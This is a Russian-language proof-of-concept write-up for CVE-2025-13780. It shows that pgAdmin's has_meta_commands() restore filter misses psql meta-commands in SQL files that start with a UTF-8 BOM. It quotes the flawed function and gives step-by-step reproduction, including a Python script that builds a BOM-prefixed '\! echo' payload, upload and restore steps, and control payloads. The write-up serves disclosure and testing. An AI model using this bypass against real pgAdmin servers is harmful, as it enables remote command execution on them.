
Концепт-доказательство для CVE-2025-13780
Фильтр мета-команд для восстановления в формате PLAIN, добавленный в pgAdmin в рамках исправления Issue 9320, не обнаруживает мета-команды, когда SQL-файл начинается с UTF-8 BOM (EF BB BF) или других специальных последовательностей. Реализованный фильтр использует функцию has_meta_commands(), которая сканирует исходные байты с помощью регулярного выражения. Регулярное выражение не считает эти байты игнорируемыми, поэтому такие мета-команды, как !, остаются незамеченными. Когда pgAdmin запускает psql с флагом --file, psql отбрасывает эти байты и выполняет команду. Это может привести к удалённому выполнению команд во время операции восстановления.
Данный обход затрагивает исправление, добавленное в коммите 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)
Подтверждённые затронутые версии:
63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)Вероятно затронуты:
has_meta_commands() из коммита 1d397395f75320ca1d4ed5e9ca721c603415e836(\restrict), поэтому теперь мета-команды блокируются самим psqlweb/pgadmin/tools/restore/__init__.py has_meta_commands()Соответствующий код (из исправленной версии):
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
pattern = re.compile(br'(^|\n)[ \t]*\\')
with open(path, "rb") as f:
prev_tail = b""
while chunk := f.read(chunk_size):
data = prev_tail + chunk
if pattern.search(data):
return True
prev_tail = data[-10:]
return False
Шаг 1: Создайте SQL-файл, начинающийся с BOM и мета-команды.
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
f.write(payload)
Шаг 2: Проверьте BOM:
xxd bypass_bom.sql | head -1
Ожидаемый результат:
ef bb bf 5c 21 ...
Шаг 3: Поместите файл в хранилище pgAdmin:
/var/lib/pgadmin/storage/<user>/bypass_bom.sql
Шаг 4: В pgAdmin: Restore -> Format: PLAIN -> выберите bypass_bom.sql -> Run
Шаг 5: Проверьте выполнение:
ls /tmp/bom_ran
Контрольный файл без BOM корректно блокируется.
Полезная нагрузка с префиксом BOM:
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;
Контрольная полезная нагрузка:
\\! echo SHOULD_BE_BLOCKED
SELECT 1;